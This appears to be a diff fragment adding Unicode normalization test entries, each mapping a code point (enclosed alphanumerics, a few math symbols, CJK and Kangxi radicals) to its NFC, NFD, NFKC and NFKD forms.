+{ source: [0x248F], NFC: [0x248F], NFD: [0x248F], NFKC: [0x0038, 0x002E], NFKD: [0x0038, 0x002E] },
+{ source: [0x2490], NFC: [0x2490], NFD: [0x2490], NFKC: [0x0039, 0x002E], NFKD: [0x0039, 0x002E] },
+{ source: [0x2491], NFC: [0x2491], NFD: [0x2491], NFKC: [0x0031, 0x0030, 0x002E], NFKD: [0x0031, 0x0030, 0x002E] },
+{ source: [0x2492], NFC: [0x2492], NFD: [0x2492], NFKC: [0x0031, 0x0031, 0x002E], NFKD: [0x0031, 0x0031, 0x002E] },
+{ source: [0x2493], NFC: [0x2493], NFD: [0x2493], NFKC: [0x0031, 0x0032, 0x002E], NFKD: [0x0031, 0x0032, 0x002E] },
+{ source: [0x2494], NFC: [0x2494], NFD: [0x2494], NFKC: [0x0031, 0x0033, 0x002E], NFKD: [0x0031, 0x0033, 0x002E] },
+{ source: [0x2495], NFC: [0x2495], NFD: [0x2495], NFKC: [0x0031, 0x0034, 0x002E], NFKD: [0x0031, 0x0034, 0x002E] },
+{ source: [0x2496], NFC: [0x2496], NFD: [0x2496], NFKC: [0x0031, 0x0035, 0x002E], NFKD: [0x0031, 0x0035, 0x002E] },
+{ source: [0x2497], NFC: [0x2497], NFD: [0x2497], NFKC: [0x0031, 0x0036, 0x002E], NFKD: [0x0031, 0x0036, 0x002E] },
+{ source: [0x2498], NFC: [0x2498], NFD: [0x2498], NFKC: [0x0031, 0x0037, 0x002E], NFKD: [0x0031, 0x0037, 0x002E] },
+{ source: [0x2499], NFC: [0x2499], NFD: [0x2499], NFKC: [0x0031, 0x0038, 0x002E], NFKD: [0x0031, 0x0038, 0x002E] },
+{ source: [0x249A], NFC: [0x249A], NFD: [0x249A], NFKC: [0x0031, 0x0039, 0x002E], NFKD: [0x0031, 0x0039, 0x002E] },
+{ source: [0x249B], NFC: [0x249B], NFD: [0x249B], NFKC: [0x0032, 0x0030, 0x002E], NFKD: [0x0032, 0x0030, 0x002E] },
+{ source: [0x249C], NFC: [0x249C], NFD: [0x249C], NFKC: [0x0028, 0x0061, 0x0029], NFKD: [0x0028, 0x0061, 0x0029] },
+{ source: [0x249D], NFC: [0x249D], NFD: [0x249D], NFKC: [0x0028, 0x0062, 0x0029], NFKD: [0x0028, 0x0062, 0x0029] },
+{ source: [0x249E], NFC: [0x249E], NFD: [0x249E], NFKC: [0x0028, 0x0063, 0x0029], NFKD: [0x0028, 0x0063, 0x0029] },
+{ source: [0x249F], NFC: [0x249F], NFD: [0x249F], NFKC: [0x0028, 0x0064, 0x0029], NFKD: [0x0028, 0x0064, 0x0029] },
+{ source: [0x24A0], NFC: [0x24A0], NFD: [0x24A0], NFKC: [0x0028, 0x0065, 0x0029], NFKD: [0x0028, 0x0065, 0x0029] },
+{ source: [0x24A1], NFC: [0x24A1], NFD: [0x24A1], NFKC: [0x0028, 0x0066, 0x0029], NFKD: [0x0028, 0x0066, 0x0029] },
+{ source: [0x24A2], NFC: [0x24A2], NFD: [0x24A2], NFKC: [0x0028, 0x0067, 0x0029], NFKD: [0x0028, 0x0067, 0x0029] },
+{ source: [0x24A3], NFC: [0x24A3], NFD: [0x24A3], NFKC: [0x0028, 0x0068, 0x0029], NFKD: [0x0028, 0x0068, 0x0029] },
+{ source: [0x24A4], NFC: [0x24A4], NFD: [0x24A4], NFKC: [0x0028, 0x0069, 0x0029], NFKD: [0x0028, 0x0069, 0x0029] },
+{ source: [0x24A5], NFC: [0x24A5], NFD: [0x24A5], NFKC: [0x0028, 0x006A, 0x0029], NFKD: [0x0028, 0x006A, 0x0029] },
+{ source: [0x24A6], NFC: [0x24A6], NFD: [0x24A6], NFKC: [0x0028, 0x006B, 0x0029], NFKD: [0x0028, 0x006B, 0x0029] },
+{ source: [0x24A7], NFC: [0x24A7], NFD: [0x24A7], NFKC: [0x0028, 0x006C, 0x0029], NFKD: [0x0028, 0x006C, 0x0029] },
+{ source: [0x24A8], NFC: [0x24A8], NFD: [0x24A8], NFKC: [0x0028, 0x006D, 0x0029], NFKD: [0x0028, 0x006D, 0x0029] },
+{ source: [0x24A9], NFC: [0x24A9], NFD: [0x24A9], NFKC: [0x0028, 0x006E, 0x0029], NFKD: [0x0028, 0x006E, 0x0029] },
+{ source: [0x24AA], NFC: [0x24AA], NFD: [0x24AA], NFKC: [0x0028, 0x006F, 0x0029], NFKD: [0x0028, 0x006F, 0x0029] },
+{ source: [0x24AB], NFC: [0x24AB], NFD: [0x24AB], NFKC: [0x0028, 0x0070, 0x0029], NFKD: [0x0028, 0x0070, 0x0029] },
+{ source: [0x24AC], NFC: [0x24AC], NFD: [0x24AC], NFKC: [0x0028, 0x0071, 0x0029], NFKD: [0x0028, 0x0071, 0x0029] },
+{ source: [0x24AD], NFC: [0x24AD], NFD: [0x24AD], NFKC: [0x0028, 0x0072, 0x0029], NFKD: [0x0028, 0x0072, 0x0029] },
+{ source: [0x24AE], NFC: [0x24AE], NFD: [0x24AE], NFKC: [0x0028, 0x0073, 0x0029], NFKD: [0x0028, 0x0073, 0x0029] },
+{ source: [0x24AF], NFC: [0x24AF], NFD: [0x24AF], NFKC: [0x0028, 0x0074, 0x0029], NFKD: [0x0028, 0x0074, 0x0029] },
+{ source: [0x24B0], NFC: [0x24B0], NFD: [0x24B0], NFKC: [0x0028, 0x0075, 0x0029], NFKD: [0x0028, 0x0075, 0x0029] },
+{ source: [0x24B1], NFC: [0x24B1], NFD: [0x24B1], NFKC: [0x0028, 0x0076, 0x0029], NFKD: [0x0028, 0x0076, 0x0029] },
+{ source: [0x24B2], NFC: [0x24B2], NFD: [0x24B2], NFKC: [0x0028, 0x0077, 0x0029], NFKD: [0x0028, 0x0077, 0x0029] },
+{ source: [0x24B3], NFC: [0x24B3], NFD: [0x24B3], NFKC: [0x0028, 0x0078, 0x0029], NFKD: [0x0028, 0x0078, 0x0029] },
+{ source: [0x24B4], NFC: [0x24B4], NFD: [0x24B4], NFKC: [0x0028, 0x0079, 0x0029], NFKD: [0x0028, 0x0079, 0x0029] },
+{ source: [0x24B5], NFC: [0x24B5], NFD: [0x24B5], NFKC: [0x0028, 0x007A, 0x0029], NFKD: [0x0028, 0x007A, 0x0029] },
+{ source: [0x24B6], NFC: [0x24B6], NFD: [0x24B6], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x24B7], NFC: [0x24B7], NFD: [0x24B7], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x24B8], NFC: [0x24B8], NFD: [0x24B8], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x24B9], NFC: [0x24B9], NFD: [0x24B9], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x24BA], NFC: [0x24BA], NFD: [0x24BA], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x24BB], NFC: [0x24BB], NFD: [0x24BB], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x24BC], NFC: [0x24BC], NFD: [0x24BC], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x24BD], NFC: [0x24BD], NFD: [0x24BD], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x24BE], NFC: [0x24BE], NFD: [0x24BE], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x24BF], NFC: [0x24BF], NFD: [0x24BF], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x24C0], NFC: [0x24C0], NFD: [0x24C0], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x24C1], NFC: [0x24C1], NFD: [0x24C1], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x24C2], NFC: [0x24C2], NFD: [0x24C2], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x24C3], NFC: [0x24C3], NFD: [0x24C3], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x24C4], NFC: [0x24C4], NFD: [0x24C4], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x24C5], NFC: [0x24C5], NFD: [0x24C5], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x24C6], NFC: [0x24C6], NFD: [0x24C6], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x24C7], NFC: [0x24C7], NFD: [0x24C7], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x24C8], NFC: [0x24C8], NFD: [0x24C8], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x24C9], NFC: [0x24C9], NFD: [0x24C9], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x24CA], NFC: [0x24CA], NFD: [0x24CA], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x24CB], NFC: [0x24CB], NFD: [0x24CB], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x24CC], NFC: [0x24CC], NFD: [0x24CC], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x24CD], NFC: [0x24CD], NFD: [0x24CD], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x24CE], NFC: [0x24CE], NFD: [0x24CE], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x24CF], NFC: [0x24CF], NFD: [0x24CF], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x24D0], NFC: [0x24D0], NFD: [0x24D0], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x24D1], NFC: [0x24D1], NFD: [0x24D1], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x24D2], NFC: [0x24D2], NFD: [0x24D2], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x24D3], NFC: [0x24D3], NFD: [0x24D3], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x24D4], NFC: [0x24D4], NFD: [0x24D4], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x24D5], NFC: [0x24D5], NFD: [0x24D5], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x24D6], NFC: [0x24D6], NFD: [0x24D6], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x24D7], NFC: [0x24D7], NFD: [0x24D7], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x24D8], NFC: [0x24D8], NFD: [0x24D8], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x24D9], NFC: [0x24D9], NFD: [0x24D9], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x24DA], NFC: [0x24DA], NFD: [0x24DA], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x24DB], NFC: [0x24DB], NFD: [0x24DB], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x24DC], NFC: [0x24DC], NFD: [0x24DC], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x24DD], NFC: [0x24DD], NFD: [0x24DD], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x24DE], NFC: [0x24DE], NFD: [0x24DE], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x24DF], NFC: [0x24DF], NFD: [0x24DF], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x24E0], NFC: [0x24E0], NFD: [0x24E0], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x24E1], NFC: [0x24E1], NFD: [0x24E1], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x24E2], NFC: [0x24E2], NFD: [0x24E2], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x24E3], NFC: [0x24E3], NFD: [0x24E3], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x24E4], NFC: [0x24E4], NFD: [0x24E4], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x24E5], NFC: [0x24E5], NFD: [0x24E5], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x24E6], NFC: [0x24E6], NFD: [0x24E6], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x24E7], NFC: [0x24E7], NFD: [0x24E7], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x24E8], NFC: [0x24E8], NFD: [0x24E8], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x24E9], NFC: [0x24E9], NFD: [0x24E9], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x24EA], NFC: [0x24EA], NFD: [0x24EA], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2A0C], NFC: [0x2A0C], NFD: [0x2A0C], NFKC: [0x222B, 0x222B, 0x222B, 0x222B], NFKD: [0x222B, 0x222B, 0x222B, 0x222B] },
+{ source: [0x2A74], NFC: [0x2A74], NFD: [0x2A74], NFKC: [0x003A, 0x003A, 0x003D], NFKD: [0x003A, 0x003A, 0x003D] },
+{ source: [0x2A75], NFC: [0x2A75], NFD: [0x2A75], NFKC: [0x003D, 0x003D], NFKD: [0x003D, 0x003D] },
+{ source: [0x2A76], NFC: [0x2A76], NFD: [0x2A76], NFKC: [0x003D, 0x003D, 0x003D], NFKD: [0x003D, 0x003D, 0x003D] },
+{ source: [0x2ADC], NFC: [0x2ADD, 0x0338], NFD: [0x2ADD, 0x0338], NFKC: [0x2ADD, 0x0338], NFKD: [0x2ADD, 0x0338] },
+{ source: [0x2C7C], NFC: [0x2C7C], NFD: [0x2C7C], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x2C7D], NFC: [0x2C7D], NFD: [0x2C7D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x2D6F], NFC: [0x2D6F], NFD: [0x2D6F], NFKC: [0x2D61], NFKD: [0x2D61] },
+{ source: [0x2E9F], NFC: [0x2E9F], NFD: [0x2E9F], NFKC: [0x6BCD], NFKD: [0x6BCD] },
+{ source: [0x2EF3], NFC: [0x2EF3], NFD: [0x2EF3], NFKC: [0x9F9F], NFKD: [0x9F9F] },
+{ source: [0x2F00], NFC: [0x2F00], NFD: [0x2F00], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x2F01], NFC: [0x2F01], NFD: [0x2F01], NFKC: [0x4E28], NFKD: [0x4E28] },
+{ source: [0x2F02], NFC: [0x2F02], NFD: [0x2F02], NFKC: [0x4E36], NFKD: [0x4E36] },
+{ source: [0x2F03], NFC: [0x2F03], NFD: [0x2F03], NFKC: [0x4E3F], NFKD: [0x4E3F] },
+{ source: [0x2F04], NFC: [0x2F04], NFD: [0x2F04], NFKC: [0x4E59], NFKD: [0x4E59] },
+{ source: [0x2F05], NFC: [0x2F05], NFD: [0x2F05], NFKC: [0x4E85], NFKD: [0x4E85] },
+{ source: [0x2F06], NFC: [0x2F06], NFD: [0x2F06], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x2F07], NFC: [0x2F07], NFD: [0x2F07], NFKC: [0x4EA0], NFKD: [0x4EA0] },
+{ source: [0x2F08], NFC: [0x2F08], NFD: [0x2F08], NFKC: [0x4EBA], NFKD: [0x4EBA] },
+{ source: [0x2F09], NFC: [0x2F09], NFD: [0x2F09], NFKC: [0x513F], NFKD: [0x513F] },
+{ source: [0x2F0A], NFC: [0x2F0A], NFD: [0x2F0A], NFKC: [0x5165], NFKD: [0x5165] },
+{ source: [0x2F0B], NFC: [0x2F0B], NFD: [0x2F0B], NFKC: [0x516B], NFKD: [0x516B] },
+{ source: [0x2F0C], NFC: [0x2F0C], NFD: [0x2F0C], NFKC: [0x5182], NFKD: [0x5182] },
+{ source: [0x2F0D], NFC: [0x2F0D], NFD: [0x2F0D], NFKC: [0x5196], NFKD: [0x5196] },
+{ source: [0x2F0E], NFC: [0x2F0E], NFD: [0x2F0E], NFKC: [0x51AB], NFKD: [0x51AB] },
+{ source: [0x2F0F], NFC: [0x2F0F], NFD: [0x2F0F], NFKC: [0x51E0], NFKD: [0x51E0] },
+{ source: [0x2F10], NFC: [0x2F10], NFD: [0x2F10], NFKC: [0x51F5], NFKD: [0x51F5] },
+{ source: [0x2F11], NFC: [0x2F11], NFD: [0x2F11], NFKC: [0x5200], NFKD: [0x5200] },
+{ source: [0x2F12], NFC: [0x2F12], NFD: [0x2F12], NFKC: [0x529B], NFKD: [0x529B] },
+{ source: [0x2F13], NFC: [0x2F13], NFD: [0x2F13], NFKC: [0x52F9], NFKD: [0x52F9] },
+{ source: [0x2F14], NFC: [0x2F14], NFD: [0x2F14], NFKC: [0x5315], NFKD: [0x5315] },
+{ source: [0x2F15], NFC: [0x2F15], NFD: [0x2F15], NFKC: [0x531A], NFKD: [0x531A] },
+{ source: [0x2F16], NFC: [0x2F16], NFD: [0x2F16], NFKC: [0x5338], NFKD: [0x5338] },
+{ source: [0x2F17], NFC: [0x2F17], NFD: [0x2F17], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x2F18], NFC: [0x2F18], NFD: [0x2F18], NFKC: [0x535C], NFKD: [0x535C] },
+{ source: [0x2F19], NFC: [0x2F19], NFD: [0x2F19], NFKC: [0x5369], NFKD: [0x5369] },
+{ source: [0x2F1A], NFC: [0x2F1A], NFD: [0x2F1A], NFKC: [0x5382], NFKD: [0x5382] },
+{ source: [0x2F1B], NFC: [0x2F1B], NFD: [0x2F1B], NFKC: [0x53B6], NFKD: [0x53B6] },
+{ source: [0x2F1C], NFC: [0x2F1C], NFD: [0x2F1C], NFKC: [0x53C8], NFKD: [0x53C8] },
+{ source: [0x2F1D], NFC: [0x2F1D], NFD: [0x2F1D], NFKC: [0x53E3], NFKD: [0x53E3] },
+{ source: [0x2F1E], NFC: [0x2F1E], NFD: [0x2F1E], NFKC: [0x56D7], NFKD: [0x56D7] },
+{ source: [0x2F1F], NFC: [0x2F1F], NFD: [0x2F1F], NFKC: [0x571F], NFKD: [0x571F] },
+{ source: [0x2F20], NFC: [0x2F20], NFD: [0x2F20], NFKC: [0x58EB], NFKD: [0x58EB] },
+{ source: [0x2F21], NFC: [0x2F21], NFD: [0x2F21], NFKC: [0x5902], NFKD: [0x5902] },
+{ source: [0x2F22], NFC: [0x2F22], NFD: [0x2F22], NFKC: [0x590A], NFKD: [0x590A] },
+{ source: [0x2F23], NFC: [0x2F23], NFD: [0x2F23], NFKC: [0x5915], NFKD: [0x5915] },
+{ source: [0x2F24], NFC: [0x2F24], NFD: [0x2F24], NFKC: [0x5927], NFKD: [0x5927] },
+{ source: [0x2F25], NFC: [0x2F25], NFD: [0x2F25], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0x2F26], NFC: [0x2F26], NFD: [0x2F26], NFKC: [0x5B50], NFKD: [0x5B50] },
+{ source: [0x2F27], NFC: [0x2F27], NFD: [0x2F27], NFKC: [0x5B80], NFKD: [0x5B80] },
+{ source: [0x2F28], NFC: [0x2F28], NFD: [0x2F28], NFKC: [0x5BF8], NFKD: [0x5BF8] },
+{ source: [0x2F29], NFC: [0x2F29], NFD: [0x2F29], NFKC: [0x5C0F], NFKD: [0x5C0F] },
+{ source: [0x2F2A], NFC: [0x2F2A], NFD: [0x2F2A], NFKC: [0x5C22], NFKD: [0x5C22] },
+{ source: [0x2F2B], NFC: [0x2F2B], NFD: [0x2F2B], NFKC: [0x5C38], NFKD: [0x5C38] },
+{ source: [0x2F2C], NFC: [0x2F2C], NFD: [0x2F2C], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0x2F2D], NFC: [0x2F2D], NFD: [0x2F2D], NFKC: [0x5C71], NFKD: [0x5C71] },
+{ source: [0x2F2E], NFC: [0x2F2E], NFD: [0x2F2E], NFKC: [0x5DDB], NFKD: [0x5DDB] },
+{ source: [0x2F2F], NFC: [0x2F2F], NFD: [0x2F2F], NFKC: [0x5DE5], NFKD: [0x5DE5] },
+{ source: [0x2F30], NFC: [0x2F30], NFD: [0x2F30], NFKC: [0x5DF1], NFKD: [0x5DF1] },
+{ source: [0x2F31], NFC: [0x2F31], NFD: [0x2F31], NFKC: [0x5DFE], NFKD: [0x5DFE] },
+{ source: [0x2F32], NFC: [0x2F32], NFD: [0x2F32], NFKC: [0x5E72], NFKD: [0x5E72] },
+{ source: [0x2F33], NFC: [0x2F33], NFD: [0x2F33], NFKC: [0x5E7A], NFKD: [0x5E7A] },
+{ source: [0x2F34], NFC: [0x2F34], NFD: [0x2F34], NFKC: [0x5E7F], NFKD: [0x5E7F] },
+{ source: [0x2F35], NFC: [0x2F35], NFD: [0x2F35], NFKC: [0x5EF4], NFKD: [0x5EF4] },
+{ source: [0x2F36], NFC: [0x2F36], NFD: [0x2F36], NFKC: [0x5EFE], NFKD: [0x5EFE] },
+{ source: [0x2F37], NFC: [0x2F37], NFD: [0x2F37], NFKC: [0x5F0B], NFKD: [0x5F0B] },
+{ source: [0x2F38], NFC: [0x2F38], NFD: [0x2F38], NFKC: [0x5F13], NFKD: [0x5F13] },
+{ source: [0x2F39], NFC: [0x2F39], NFD: [0x2F39], NFKC: [0x5F50], NFKD: [0x5F50] },
+{ source: [0x2F3A], NFC: [0x2F3A], NFD: [0x2F3A], NFKC: [0x5F61], NFKD: [0x5F61] },
+{ source: [0x2F3B], NFC: [0x2F3B], NFD: [0x2F3B], NFKC: [0x5F73], NFKD: [0x5F73] },
+{ source: [0x2F3C], NFC: [0x2F3C], NFD: [0x2F3C], NFKC: [0x5FC3], NFKD: [0x5FC3] },
+{ source: [0x2F3D], NFC: [0x2F3D], NFD: [0x2F3D], NFKC: [0x6208], NFKD: [0x6208] },
+{ source: [0x2F3E], NFC: [0x2F3E], NFD: [0x2F3E], NFKC: [0x6236], NFKD: [0x6236] },
+{ source: [0x2F3F], NFC: [0x2F3F], NFD: [0x2F3F], NFKC: [0x624B], NFKD: [0x624B] },
+{ source: [0x2F40], NFC: [0x2F40], NFD: [0x2F40], NFKC: [0x652F], NFKD: [0x652F] },
+{ source: [0x2F41], NFC: [0x2F41], NFD: [0x2F41], NFKC: [0x6534], NFKD: [0x6534] },
+{ source: [0x2F42], NFC: [0x2F42], NFD: [0x2F42], NFKC: [0x6587], NFKD: [0x6587] },
+{ source: [0x2F43], NFC: [0x2F43], NFD: [0x2F43], NFKC: [0x6597], NFKD: [0x6597] },
+{ source: [0x2F44], NFC: [0x2F44], NFD: [0x2F44], NFKC: [0x65A4], NFKD: [0x65A4] },
+{ source: [0x2F45], NFC: [0x2F45], NFD: [0x2F45], NFKC: [0x65B9], NFKD: [0x65B9] },
+{ source: [0x2F46], NFC: [0x2F46], NFD: [0x2F46], NFKC: [0x65E0], NFKD: [0x65E0] },
+{ source: [0x2F47], NFC: [0x2F47], NFD: [0x2F47], NFKC: [0x65E5], NFKD: [0x65E5] },
+{ source: [0x2F48], NFC: [0x2F48], NFD: [0x2F48], NFKC: [0x66F0], NFKD: [0x66F0] },
+{ source: [0x2F49], NFC: [0x2F49], NFD: [0x2F49], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x2F4A], NFC: [0x2F4A], NFD: [0x2F4A], NFKC: [0x6728], NFKD: [0x6728] },
+{ source: [0x2F4B], NFC: [0x2F4B], NFD: [0x2F4B], NFKC: [0x6B20], NFKD: [0x6B20] },
+{ source: [0x2F4C], NFC: [0x2F4C], NFD: [0x2F4C], NFKC: [0x6B62], NFKD: [0x6B62] },
+{ source: [0x2F4D], NFC: [0x2F4D], NFD: [0x2F4D], NFKC: [0x6B79], NFKD: [0x6B79] },
+{ source: [0x2F4E], NFC: [0x2F4E], NFD: [0x2F4E], NFKC: [0x6BB3], NFKD: [0x6BB3] },
+{ source: [0x2F4F], NFC: [0x2F4F], NFD: [0x2F4F], NFKC: [0x6BCB], NFKD: [0x6BCB] },
+{ source: [0x2F50], NFC: [0x2F50], NFD: [0x2F50], NFKC: [0x6BD4], NFKD: [0x6BD4] },
+{ source: [0x2F51], NFC: [0x2F51], NFD: [0x2F51], NFKC: [0x6BDB], NFKD: [0x6BDB] },
+{ source: [0x2F52], NFC: [0x2F52], NFD: [0x2F52], NFKC: [0x6C0F], NFKD: [0x6C0F] },
+{ source: [0x2F53], NFC: [0x2F53], NFD: [0x2F53], NFKC: [0x6C14], NFKD: [0x6C14] },
+{ source: [0x2F54], NFC: [0x2F54], NFD: [0x2F54], NFKC: [0x6C34], NFKD: [0x6C34] },
+{ source: [0x2F55], NFC: [0x2F55], NFD: [0x2F55], NFKC: [0x706B], NFKD: [0x706B] },
+{ source: [0x2F56], NFC: [0x2F56], NFD: [0x2F56], NFKC: [0x722A], NFKD: [0x722A] },
+{ source: [0x2F57], NFC: [0x2F57], NFD: [0x2F57], NFKC: [0x7236], NFKD: [0x7236] },
+{ source: [0x2F58], NFC: [0x2F58], NFD: [0x2F58], NFKC: [0x723B], NFKD: [0x723B] },
+{ source: [0x2F59], NFC: [0x2F59], NFD: [0x2F59], NFKC: [0x723F], NFKD: [0x723F] },
+{ source: [0x2F5A], NFC: [0x2F5A], NFD: [0x2F5A], NFKC: [0x7247], NFKD: [0x7247] },
+{ source: [0x2F5B], NFC: [0x2F5B], NFD: [0x2F5B], NFKC: [0x7259], NFKD: [0x7259] },
+{ source: [0x2F5C], NFC: [0x2F5C], NFD: [0x2F5C], NFKC: [0x725B], NFKD: [0x725B] },
+{ source: [0x2F5D], NFC: [0x2F5D], NFD: [0x2F5D], NFKC: [0x72AC], NFKD: [0x72AC] },
+{ source: [0x2F5E], NFC: [0x2F5E], NFD: [0x2F5E], NFKC: [0x7384], NFKD: [0x7384] },
+{ source: [0x2F5F], NFC: [0x2F5F], NFD: [0x2F5F], NFKC: [0x7389], NFKD: [0x7389] },
+{ source: [0x2F60], NFC: [0x2F60], NFD: [0x2F60], NFKC: [0x74DC], NFKD: [0x74DC] },
+{ source: [0x2F61], NFC: [0x2F61], NFD: [0x2F61], NFKC: [0x74E6], NFKD: [0x74E6] },
+{ source: [0x2F62], NFC: [0x2F62], NFD: [0x2F62], NFKC: [0x7518], NFKD: [0x7518] },
+{ source: [0x2F63], NFC: [0x2F63], NFD: [0x2F63], NFKC: [0x751F], NFKD: [0x751F] },
+{ source: [0x2F64], NFC: [0x2F64], NFD: [0x2F64], NFKC: [0x7528], NFKD: [0x7528] },
+{ source: [0x2F65], NFC: [0x2F65], NFD: [0x2F65], NFKC: [0x7530], NFKD: [0x7530] },
+{ source: [0x2F66], NFC: [0x2F66], NFD: [0x2F66], NFKC: [0x758B], NFKD: [0x758B] },
+{ source: [0x2F67], NFC: [0x2F67], NFD: [0x2F67], NFKC: [0x7592], NFKD: [0x7592] },
+{ source: [0x2F68], NFC: [0x2F68], NFD: [0x2F68], NFKC: [0x7676], NFKD: [0x7676] },
+{ source: [0x2F69], NFC: [0x2F69], NFD: [0x2F69], NFKC: [0x767D], NFKD: [0x767D] },
+{ source: [0x2F6A], NFC: [0x2F6A], NFD: [0x2F6A], NFKC: [0x76AE], NFKD: [0x76AE] },
+{ source: [0x2F6B], NFC: [0x2F6B], NFD: [0x2F6B], NFKC: [0x76BF], NFKD: [0x76BF] },
+{ source: [0x2F6C], NFC: [0x2F6C], NFD: [0x2F6C], NFKC: [0x76EE], NFKD: [0x76EE] },
+{ source: [0x2F6D], NFC: [0x2F6D], NFD: [0x2F6D], NFKC: [0x77DB], NFKD: [0x77DB] },
+{ source: [0x2F6E], NFC: [0x2F6E], NFD: [0x2F6E], NFKC: [0x77E2], NFKD: [0x77E2] },
+{ source: [0x2F6F], NFC: [0x2F6F], NFD: [0x2F6F], NFKC: [0x77F3], NFKD: [0x77F3] },
+{ source: [0x2F70], NFC: [0x2F70], NFD: [0x2F70], NFKC: [0x793A], NFKD: [0x793A] },
+{ source: [0x2F71], NFC: [0x2F71], NFD: [0x2F71], NFKC: [0x79B8], NFKD: [0x79B8] },
+{ source: [0x2F72], NFC: [0x2F72], NFD: [0x2F72], NFKC: [0x79BE], NFKD: [0x79BE] },
+{ source: [0x2F73], NFC: [0x2F73], NFD: [0x2F73], NFKC: [0x7A74], NFKD: [0x7A74] },
+{ source: [0x2F74], NFC: [0x2F74], NFD: [0x2F74], NFKC: [0x7ACB], NFKD: [0x7ACB] },
+{ source: [0x2F75], NFC: [0x2F75], NFD: [0x2F75], NFKC: [0x7AF9], NFKD: [0x7AF9] },
+{ source: [0x2F76], NFC: [0x2F76], NFD: [0x2F76], NFKC: [0x7C73], NFKD: [0x7C73] },
+{ source: [0x2F77], NFC: [0x2F77], NFD: [0x2F77], NFKC: [0x7CF8], NFKD: [0x7CF8] },
+{ source: [0x2F78], NFC: [0x2F78], NFD: [0x2F78], NFKC: [0x7F36], NFKD: [0x7F36] },
+{ source: [0x2F79], NFC: [0x2F79], NFD: [0x2F79], NFKC: [0x7F51], NFKD: [0x7F51] },
+{ source: [0x2F7A], NFC: [0x2F7A], NFD: [0x2F7A], NFKC: [0x7F8A], NFKD: [0x7F8A] },
+{ source: [0x2F7B], NFC: [0x2F7B], NFD: [0x2F7B], NFKC: [0x7FBD], NFKD: [0x7FBD] },
+{ source: [0x2F7C], NFC: [0x2F7C], NFD: [0x2F7C], NFKC: [0x8001], NFKD: [0x8001] },
+{ source: [0x2F7D], NFC: [0x2F7D], NFD: [0x2F7D], NFKC: [0x800C], NFKD: [0x800C] },
+{ source: [0x2F7E], NFC: [0x2F7E], NFD: [0x2F7E], NFKC: [0x8012], NFKD: [0x8012] },
+{ source: [0x2F7F], NFC: [0x2F7F], NFD: [0x2F7F], NFKC: [0x8033], NFKD: [0x8033] },
+{ source: [0x2F80], NFC: [0x2F80], NFD: [0x2F80], NFKC: [0x807F], NFKD: [0x807F] },
+{ source: [0x2F81], NFC: [0x2F81], NFD: [0x2F81], NFKC: [0x8089], NFKD: [0x8089] },
+{ source: [0x2F82], NFC: [0x2F82], NFD: [0x2F82], NFKC: [0x81E3], NFKD: [0x81E3] },
+{ source: [0x2F83], NFC: [0x2F83], NFD: [0x2F83], NFKC: [0x81EA], NFKD: [0x81EA] },
